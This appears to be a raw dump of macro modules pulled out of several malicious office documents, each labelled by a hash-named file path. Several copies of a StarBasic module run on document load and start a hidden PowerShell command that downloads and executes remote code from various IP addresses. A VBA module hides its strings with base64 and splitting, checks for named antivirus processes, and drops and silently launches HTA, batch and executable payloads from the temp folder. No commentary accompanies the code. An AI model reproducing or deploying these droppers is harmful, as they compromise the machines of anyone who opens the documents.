jgf = StrConv(DecodeBase64(&quot;ZXhl&quot;), vbUnicode)
kk = &quot;.com&quot;
lll = &quot;6&quot;
FileCopy &quot;4CB52522&quot; &amp; kk, lll &amp; &quot;.&quot; &amp; jgf
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()
Dim objXML As MSXML2.DOMDocument
Dim objNode As MSXML2.IXMLDOMElement
Set objXML = New MSXML2.DOMDocument
Set objNode = objXML.createElement(&quot;b64&quot;)
objNode.DataType = &quot;bin.base64&quot;
objNode.Text = strData
DecodeBase64 = objNode.nodeTypedValue
Set objNode = Nothing
Set objXML = Nothing
End Function
Public Function IsExeRunning(sExeName As String, Optional sComputer As String = &quot;.&quot;) As Boolean
Dim objProcesses As Object
Set objProcesses = GetObject(&quot;w&quot; &amp; &quot;in&quot; &amp; &quot;mg&quot; &amp; &quot;mts&quot; &amp; &quot;:{impersonationLevel=impersonate}!\\&quot; &amp; sComputer &amp; &quot;\root\cimv2&quot;).ExecQuery(&quot;SELECT * FROM Win32_Process WHERE Name = &apos;&quot; &amp; sExeName &amp; &quot;&apos;&quot;)
If objProcesses.Count &lt;&gt; 0 Then IsExeRunning = True
End Function
</script:module>7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\xcvxvxv.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="xcvxvxv" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub cek()
ActiveSheet.Shapes.Range(Array(&quot;Object 3&quot;)).Select
Selection.Delete
Selection.Cut
Set D = New DataObject
D.SetText &quot; &quot;
D.PutInClipboard
Selection.MoveUp Unit:=wdScreen, Count:=7
Selection.MoveUp Unit:=wdScreen, Count:=7
Selection.MoveLeft Unit:=wdCharacter, Count:=13
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now &gt;= DateAdd(&quot;s&quot;, 3, t)
End Sub
</script:module>7c0e85c0a4d96080ca341d3496743f0f113b17613660812d40413be6d453eab4.unzip\Basic\Standard\Module1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Sub OnLoad
Dim os as string
os = GetOS
If os = &quot;windows&quot; OR os = &quot;osx&quot; OR os = &quot;linux&quot; Then
Exploit
end If
End Sub
Sub Exploit
Shell(&quot;cmd.exe /C &quot;&quot;powershell.exe -nop -w hidden -c $D=new-object net.webclient;$D.proxy=[Net.WebRequest]::GetSystemWebProxy();$D.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $D.downloadstring(&#39;http://10.0.2.15:8080/Lo18fuM&#39;);&quot;&quot;&quot;)
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = &quot;windows&quot;
case 3:
GetOS = &quot;osx&quot;
case 4:
GetOS = &quot;linux&quot;
end select
End Function
Function GetExtName() as string
select case GetOS
case &quot;windows&quot;
GetFileName = &quot;exe&quot;
case else
GetFileName = &quot;bin&quot;
end select
End Function
</script:module>
8d59f1e2abcab9efb7f833d478d1d1390e7456092f858b656ee0024daf3d1aa3.unzip\Basic\Standard\Module1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Sub OnLoad
Dim os as string
os = GetOS
If os = &quot;windows&quot; OR os = &quot;osx&quot; OR os = &quot;linux&quot; Then
Exploit
end If
End Sub
Sub Exploit
Shell(&quot;cmd.exe /C &quot;&quot;powershell.exe -nop -w hidden -c $z=new-object net.webclient;$z.proxy=[Net.WebRequest]::GetSystemWebProxy();$z.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $z.downloadstring(&#39;http://192.168.0.110:8080/zww7wy77gChQ&#39;);&quot;&quot;&quot;)
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = &quot;windows&quot;
case 3:
GetOS = &quot;osx&quot;
case 4:
GetOS = &quot;linux&quot;
end select
End Function
Function GetExtName() as string
select case GetOS
case &quot;windows&quot;
GetFileName = &quot;exe&quot;
case else
GetFileName = &quot;bin&quot;
end select
End Function
</script:module>
9846b942d9d1e276c95361180e9326593ea46d3abcce9c116c204954bbfe3fdc.unzip\Basic\Standard\Module1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Sub OnLoad
Dim os as string
os = GetOS
If os = &quot;windows&quot; OR os = &quot;osx&quot; OR os = &quot;linux&quot; Then
Exploit
end If
End Sub
Sub Exploit
Shell(&quot;cmd.exe /C &quot;&quot;powershell.exe -nop -w hidden -c $O=new-object net.webclient;$O.proxy=[Net.WebRequest]::GetSystemWebProxy();$O.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $O.downloadstring(&#39;http://192.168.1.34:8080/nO74BAJIDi0qEpY&#39;);&quot;&quot;&quot;)
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = &quot;windows&quot;
case 3:
GetOS = &quot;osx&quot;
case 4:
GetOS = &quot;linux&quot;
end select
End Function
Function GetExtName() as string
select case GetOS
case &quot;windows&quot;
GetFileName = &quot;exe&quot;
case else
GetFileName = &quot;bin&quot;
end select
End Function
</script:module>
aa0c83f339c8c16ad21dec41e4605d4e327adbbb78827dcad250ed64d2ceef1c.unzip\Basic\Standard\Module1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Sub OnLoad
Dim os as string
os = GetOS
If os = &quot;windows&quot; OR os = &quot;osx&quot; OR os = &quot;linux&quot; Then
Exploit
end If
End Sub
Sub Exploit
Shell(&quot;cmd.exe /C &quot;&quot;powershell.exe -nop -w hidden -c $U=new-object net.webclient;$U.proxy=[Net.WebRequest]::GetSystemWebProxy();$U.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $U.downloadstring(&#39;http://183.83.92.207:8080/uHVBk8zCZ0&#39;);&quot;&quot;&quot;)
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = &quot;windows&quot;
case 3:
GetOS = &quot;osx&quot;
case 4:
GetOS = &quot;linux&quot;
end select
End Function
Function GetExtName() as string
select case GetOS
case &quot;windows&quot;
GetFileName = &quot;exe&quot;
case else
GetFileName = &quot;bin&quot;
end select
End Function
</script:module>
b0be54c7210b06e60112a119c235e23c9edbe40b1c1ce1877534234f82b6b302.unzip\Basic\Standard\Module1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Sub OnLoad
Dim os as string
os = GetOS
If os = &quot;windows&quot; OR os = &quot;osx&quot; OR os = &quot;linux&quot; Then
Exploit
end If
End Sub
Sub Exploit
Shell(&quot;cmd.exe /C &quot;&quot;powershell.exe -nop -w hidden -c $t=new-object net.webclient;$t.proxy=[Net.WebRequest]::GetSystemWebProxy();$t.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $t.downloadstring(&#39;http://192.168.0.144:8080/TAJpD11p&#39;);&quot;&quot;&quot;)
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = &quot;windows&quot;
case 3:
GetOS = &quot;osx&quot;
case 4:
GetOS = &quot;linux&quot;
end select
End Function
Function GetExtName() as string
select case GetOS
case &quot;windows&quot;
GetFileName = &quot;exe&quot;
case else
GetFileName = &quot;bin&quot;
end select
End Function
</script:module>
bf581ebb96b8ca4f254ab4d200f9a053aff8187715573d9a1cbd443df0f554e3.unzip\Basic\Standard\Module1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Sub OnLoad
Dim os as string
os = GetOS
If os = &quot;windows&quot; OR os = &quot;osx&quot; OR os = &quot;linux&quot; Then
Exploit
end If
End Sub
Sub Exploit
Shell(&quot;cmd.exe /C &quot;&quot;powershell.exe -nop -w hidden -c $I=new-object net.webclient;$I.proxy=[Net.WebRequest]::GetSystemWebProxy();$I.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $I.downloadstring(&#39;http://192.168.0.127:8080/rRQcLdFIvtsT&#39;);&quot;&quot;&quot;)
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = &quot;windows&quot;
case 3:
GetOS = &quot;osx&quot;
case 4:
GetOS = &quot;linux&quot;
end select
End Function
Function GetExtName() as string
select case GetOS
case &quot;windows&quot;
GetFileName = &quot;exe&quot;
case else
GetFileName = &quot;bin&quot;
end select
End Function
</script:module>
de45634064af31cb6768e4912cac284a76a6e66d398993df1aeee8ce26e0733b.unzip\Basic\Standard\Module1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Sub OnLoad
Dim os as string
os = GetOS
If os = &quot;windows&quot; OR os = &quot;osx&quot; OR os = &quot;linux&quot; Then
Exploit
end If
End Sub
Sub Exploit
Shell(&quot;cmd.exe /C &quot;&quot;powershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring(&#39;http://192.168.146.129:8080/wToXrkJn&#39;);&quot;&quot;&quot;)
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = &quot;windows&quot;
case 3:
GetOS = &quot;osx&quot;
case 4:
GetOS = &quot;linux&quot;
end select
End Function
Function GetExtName() as string
select case GetOS
case &quot;windows&quot;
GetFileName = &quot;exe&quot;
case else
GetFileName = &quot;bin&quot;
end select
End Function
</script:module>
7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\bcbcbcb.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="bcbcbcb" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub closee()
Dim jddsdfda As String
jddsdfda = UserForm5.TextBox1.Text
Dim yrtfdsad, vcxvxczcv
Dim mbbmbdf
Dim nuchevi
nuchevi = UserForm6.TextBox1.Text
Set wsh = VBA.CreateObject(UserForm1.TextBox1.Text &amp; UserForm4.TextBox1.Text &amp; UserForm2.TextBox1.Text)
Dim lhjxvcvx
lhjxvcvx = StrConv(DecodeBase64(UserForm3.TextBox1.Text), vbUnicode)
Dim kkkdds
kkkdds = StrConv(DecodeBase64(&quot;PGh&quot; &amp; &quot;0bWw+DQo8&quot; &amp; &quot;aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i&quot;), vbUnicode)
If True = IsExeRunning(jddsdfda) Then
Open Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1.hta&quot; For Output As #1
Print #1, kkkdds
Print #1, lhjxvcvx
Close #1
ChDir Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;)
wsh.Run Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1.hta&quot;, 0, False
Exit Sub
End If
If True = IsExeRunning(&quot;PS&quot; &amp; &quot;UAM&quot; &amp; &quot;ain&quot; &amp; nuchevi) Then
Shell StrConv(DecodeBase64(&quot;Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA==&quot;), vbUnicode) &amp; Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;n360&quot; &amp; nuchevi) Then
Shell Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;PccNT&quot; &amp; nuchevi) Then
Shell Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;uiSeAgnt&quot; &amp; nuchevi) Then
Shell Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;mbam&quot; &amp; nuchevi) Then
Open Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot; For Output As #1
Print #1, StrConv(DecodeBase64(&quot;cGluZyBsb2NhbGhvc3QgLW4gNjA=&quot;), vbUnicode), vbHide
Print #1, StrConv(DecodeBase64(&quot;c3RhcnQgJXRlbXAlXDYucGlm&quot;), vbUnicode), vbHide
Close
Shell Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot;, vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;mbamtray&quot; &amp; nuchevi) Then
Open Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot; For Output As #1
Print #1, StrConv(DecodeBase64(&quot;cGluZyBsb2NhbGhvc3QgLW4gNjA=&quot;), vbUnicode), vbHide
Print #1, StrConv(DecodeBase64(&quot;c3RhcnQgJXRlbXAlXDYucGlm&quot;), vbUnicode), vbHide
Close
Shell Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot;, vbHide
Exit Sub
End If
Shell StrConv(DecodeBase64(&quot;Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA==&quot;), vbUnicode) &amp; Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;X&quot; &amp; &quot;DYuc&quot; &amp; &quot;Glm&quot;), vbUnicode), vbHide
End Sub
Sub fadf()
Dim pl, kk, gdfsfsa
kk = &quot;.com&quot;
pl = kk
FileCopy &quot;4CB52522&quot; &amp; pl, &quot;6&quot; &amp; &quot;.pif&quot;
End Sub
Sub sdfsdf()
ChDir Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;)
Call kklk
Call fadf
Selection.TypeBackspace
End Sub
Sub kklk()
ChDir Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;)
Dim kk, lll, jgf, tyretw, gdfsfsa
jgf = StrConv(DecodeBase64(&quot;ZXhl&quot;), vbUnicode)
kk = &quot;.com&quot;
lll = &quot;6&quot;
FileCopy &quot;4CB52522&quot; &amp; kk, lll &amp; &quot;.&quot; &amp; jgf
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()
Dim objXML As MSXML2.DOMDocument
Dim objNode As MSXML2.IXMLDOMElement
Set objXML = New MSXML2.DOMDocument
Set objNode = objXML.createElement(&quot;b64&quot;)
objNode.DataType = &quot;bin.base64&quot;
objNode.Text = strData
DecodeBase64 = objNode.nodeTypedValue
Set objNode = Nothing
Set objXML = Nothing
End Function
Public Function IsExeRunning(sExeName As String, Optional sComputer As String = &quot;.&quot;) As Boolean
Dim objProcesses As Object
Set objProcesses = GetObject(&quot;w&quot; &amp; &quot;in&quot; &amp; &quot;mg&quot; &amp; &quot;mts&quot; &amp; &quot;:{impersonationLevel=impersonate}!\\&quot; &amp; sComputer &amp; &quot;\root\cimv2&quot;).ExecQuery(&quot;SELECT * FROM Win32_Process WHERE Name = &apos;&quot; &amp; sExeName &amp; &quot;&apos;&quot;)
If objProcesses.Count &lt;&gt; 0 Then IsExeRunning = True
End Function
7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\gfddfgd.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="gfddfgd" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub killo()
Call closee
Application.DisplayAlerts = False
ActiveWorkbook.SaveAs ActiveWorkbook.FullName, FileFormat:=51
Application.Quit
End Sub
7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\script-lb.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE library:library PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "library.dtd">
<library:library xmlns:library="http://openoffice.org/2000/library" library:name="VBAProject" library:readonly="false" library:passwordprotected="false">
<library:element library:name="UserForm1"/>
<library:element library:name="UserForm2"/>
<library:element library:name="UserForm3"/>
<library:element library:name="UserForm4"/>
<library:element library:name="UserForm5"/>
<library:element library:name="UserForm6"/>
<library:element library:name="bcbcbcb"/>
<library:element library:name="gfddfgd"/>
<library:element library:name="xcvxvxv"/>
<library:element library:name="Лист1"/>
<library:element library:name="ЭтаКнига"/>
7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\xcvxvxv.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="xcvxvxv" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub cek()
ActiveSheet.Shapes.Range(Array(&quot;Object 3&quot;)).Select
Selection.Delete
Selection.Cut
Set D = New DataObject
D.SetText &quot; &quot;
D.PutInClipboard
Selection.MoveUp Unit:=wdScreen, Count:=7
Selection.MoveUp Unit:=wdScreen, Count:=7
Selection.MoveLeft Unit:=wdCharacter, Count:=13
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now &gt;= DateAdd(&quot;s&quot;, 3, t)
End Sub
7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\????1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Лист1" script:language="StarBasic" script:moduleType="document">Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\????????.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="bcbcbcb" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub closee()
Dim jddsdfda As String
jddsdfda = UserForm5.TextBox1.Text
Dim yrtfdsad, vcxvxczcv
Dim mbbmbdf
Dim nuchevi
nuchevi = UserForm6.TextBox1.Text
Set wsh = VBA.CreateObject(UserForm1.TextBox1.Text &amp; UserForm4.TextBox1.Text &amp; UserForm2.TextBox1.Text)
Dim lhjxvcvx
lhjxvcvx = StrConv(DecodeBase64(UserForm3.TextBox1.Text), vbUnicode)
Dim kkkdds
kkkdds = StrConv(DecodeBase64(&quot;PGh&quot; &amp; &quot;0bWw+DQo8&quot; &amp; &quot;aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i&quot;), vbUnicode)
If True = IsExeRunning(jddsdfda) Then
Open Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1.hta&quot; For Output As #1
Print #1, kkkdds
Print #1, lhjxvcvx
Close #1
ChDir Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;)
wsh.Run Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1.hta&quot;, 0, False
Exit Sub
End If
If True = IsExeRunning(&quot;PS&quot; &amp; &quot;UAM&quot; &amp; &quot;ain&quot; &amp; nuchevi) Then
Shell StrConv(DecodeBase64(&quot;Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA==&quot;), vbUnicode) &amp; Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;n360&quot; &amp; nuchevi) Then
Shell Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;PccNT&quot; &amp; nuchevi) Then
Shell Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;uiSeAgnt&quot; &amp; nuchevi) Then
Shell Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;XDYuZXhl&quot;), vbUnicode), vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;mbam&quot; &amp; nuchevi) Then
Open Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot; For Output As #1
Print #1, StrConv(DecodeBase64(&quot;cGluZyBsb2NhbGhvc3QgLW4gNjA=&quot;), vbUnicode), vbHide
Print #1, StrConv(DecodeBase64(&quot;c3RhcnQgJXRlbXAlXDYucGlm&quot;), vbUnicode), vbHide
Close
Shell Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot;, vbHide
Exit Sub
End If
If True = IsExeRunning(&quot;mbamtray&quot; &amp; nuchevi) Then
Open Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot; For Output As #1
Print #1, StrConv(DecodeBase64(&quot;cGluZyBsb2NhbGhvc3QgLW4gNjA=&quot;), vbUnicode), vbHide
Print #1, StrConv(DecodeBase64(&quot;c3RhcnQgJXRlbXAlXDYucGlm&quot;), vbUnicode), vbHide
Close
Shell Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;) &amp; &quot;\1s.bat&quot;, vbHide
Exit Sub
End If
Shell StrConv(DecodeBase64(&quot;Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA==&quot;), vbUnicode) &amp; Environ(StrConv(DecodeBase64(&quot;VGVtcA==&quot;), vbUnicode)) &amp; StrConv(DecodeBase64(&quot;X&quot; &amp; &quot;DYuc&quot; &amp; &quot;Glm&quot;), vbUnicode), vbHide
End Sub
Sub fadf()
Dim pl, kk, gdfsfsa
kk = &quot;.com&quot;
pl = kk
FileCopy &quot;4CB52522&quot; &amp; pl, &quot;6&quot; &amp; &quot;.pif&quot;
End Sub
Sub sdfsdf()
ChDir Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;)
Call kklk
Call fadf
Selection.TypeBackspace
End Sub
Sub kklk()
ChDir Environ(&quot;T&quot; &amp; &quot;e&quot; &amp; &quot;m&quot; &amp; &quot;p&quot;)
Dim kk, lll, jgf, tyretw, gdfsfsa
jgf = StrConv(DecodeBase64(&quot;ZXhl&quot;), vbUnicode)
kk = &quot;.com&quot;
lll = &quot;6&quot;
FileCopy &quot;4CB52522&quot; &amp; kk, lll &amp; &quot;.&quot; &amp; jgf
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()
Dim objXML As MSXML2.DOMDocument
Dim objNode As MSXML2.IXMLDOMElement
Set objXML = New MSXML2.DOMDocument
Set objNode = objXML.createElement(&quot;b64&quot;)
objNode.DataType = &quot;bin.base64&quot;
objNode.Text = strData
DecodeBase64 = objNode.nodeTypedValue
Set objNode = Nothing
Set objXML = Nothing
End Function
Public Function IsExeRunning(sExeName As String, Optional sComputer As String = &quot;.&quot;) As Boolean
Dim objProcesses As Object
Set objProcesses = GetObject(&quot;w&quot; &amp; &quot;in&quot; &amp; &quot;mg&quot; &amp; &quot;mts&quot; &amp; &quot;:{impersonationLevel=impersonate}!\\&quot; &amp; sComputer &amp; &quot;\root\cimv2&quot;).ExecQuery(&quot;SELECT * FROM Win32_Process WHERE Name = &apos;&quot; &amp; sExeName &amp; &quot;&apos;&quot;)
If objProcesses.Count &lt;&gt; 0 Then IsExeRunning = True
End Function
</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="gfddfgd" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub killo()
Call closee
Application.DisplayAlerts = False
ActiveWorkbook.SaveAs ActiveWorkbook.FullName, FileFormat:=51
Application.Quit
End Sub
</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE library:library PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "library.dtd">
<library:library xmlns:library="http://openoffice.org/2000/library" library:name="VBAProject" library:readonly="false" library:passwordprotected="false">
<library:element library:name="UserForm1"/>
<library:element library:name="UserForm2"/>
<library:element library:name="UserForm3"/>
<library:element library:name="UserForm4"/>
<library:element library:name="UserForm5"/>
<library:element library:name="UserForm6"/>
<library:element library:name="bcbcbcb"/>
<library:element library:name="gfddfgd"/>
<library:element library:name="xcvxvxv"/>
<library:element library:name="Лист1"/>
<library:element library:name="ЭтаКнига"/>
</library:library><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm5" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule
Option VBASupport 1
